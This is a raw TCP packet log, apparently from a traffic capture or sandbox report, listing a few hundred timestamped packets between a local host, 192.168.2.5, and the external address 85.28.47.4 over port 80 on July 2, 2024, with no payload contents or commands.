Jul 2, 2024 04:11:59.268518925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.268518925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.268538952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.268560886 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.349293947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349313021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349340916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349353075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349361897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.349376917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349390030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349395990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349395990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.349416018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.349436998 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.349459887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.356277943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356288910 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356306076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356343985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.356369972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.356419086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356429100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356451988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356458902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.356477976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.356501102 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356511116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356528997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.356547117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.356556892 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.357391119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.357423067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.357436895 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.357436895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.357455015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.357459068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.357472897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.357489109 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.358050108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.358062029 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.358078957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.358088970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.358089924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.358108997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.358114958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.358124971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.358143091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.358160019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.432154894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.432244062 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.432303905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.432327986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.432342052 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.432356119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.432364941 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.432368994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.432390928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.432399035 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.432414055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.432435989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438534975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438570023 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438591003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438611031 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438644886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438668966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438689947 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438724041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438858986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438894033 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438909054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438925982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438937902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438950062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438968897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438971043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.438990116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.438994884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.439016104 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.439019918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.439038992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.439043999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.439052105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.439079046 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.439691067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.439723015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.439742088 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.439744949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.439764977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.439795017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445580959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445628881 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445640087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445650101 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445669889 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445672989 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445697069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445722103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445816994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445842981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445864916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445875883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445883036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445887089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.445911884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.445919991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446285009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446300030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446324110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446336985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446346998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446367979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446367979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446397066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446415901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446839094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446860075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446881056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446883917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446907043 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446923018 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446930885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446950912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446970940 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.446974039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446981907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.446985960 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447014093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447020054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447031975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447067022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447838068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447868109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447886944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447905064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447905064 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447915077 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447923899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447936058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447957993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447967052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447976112 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.447983980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.447999001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.448002100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.448019981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.448040009 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.448790073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.448841095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.524202108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524225950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524243116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524260998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524270058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524285078 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524303913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524312973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524331093 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.524347067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.524415016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531400919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531411886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531434059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531446934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531460047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531474113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531483889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531522036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531542063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531553030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531557083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531569958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531579971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531595945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531598091 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531613111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531644106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531644106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531688929 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531748056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531765938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531781912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531795025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531796932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531812906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.531833887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.531862974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.536748886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536762953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536784887 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536798954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536817074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536827087 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536844015 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536849022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.536883116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536884069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.536894083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536906958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.536912918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.536927938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537002087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.537002087 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.537206888 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537267923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.537283897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537293911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537307978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537337065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.537344933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537355900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537360907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537369013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537379026 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.537383080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537389994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537396908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.537467957 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.537484884 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.538182974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538193941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538216114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538240910 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.538260937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538274050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538285971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538290977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538296938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.538316965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.538338900 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.538358927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538369894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538388014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538399935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.538408995 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.538434982 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539138079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539194107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539206982 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539222002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539246082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539264917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539271116 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539284945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539295912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539319992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539331913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539340973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539350986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539367914 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539376974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539388895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.539396048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539423943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.539454937 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.540174007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540184975 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540200949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540231943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540234089 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.540249109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540258884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540271044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540275097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.540298939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540307999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.540308952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540323019 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.540329933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540339947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.540353060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.540388107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.541060925 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.541083097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.541114092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.541146040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.604566097 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.604598999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.604618073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.604634047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.604655027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.604671001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.604688883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.604736090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610218048 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610254049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610279083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610295057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610296965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610316992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610322952 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610337973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610349894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610369921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610424995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610441923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610469103 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610469103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610486984 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610491037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610506058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610508919 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610523939 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610547066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610582113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610599995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610615969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610622883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610631943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610634089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.610652924 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.610666990 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.617643118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.617657900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.617679119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.617727041 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.617747068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.617765903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.617805004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.617963076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.617980957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.617997885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618014097 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618017912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618036032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618052006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618073940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618091106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618258953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618309975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:11:59.618426085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:11:59.618444920 CEST	80	49704	85.28.47.4	192.168.2.5
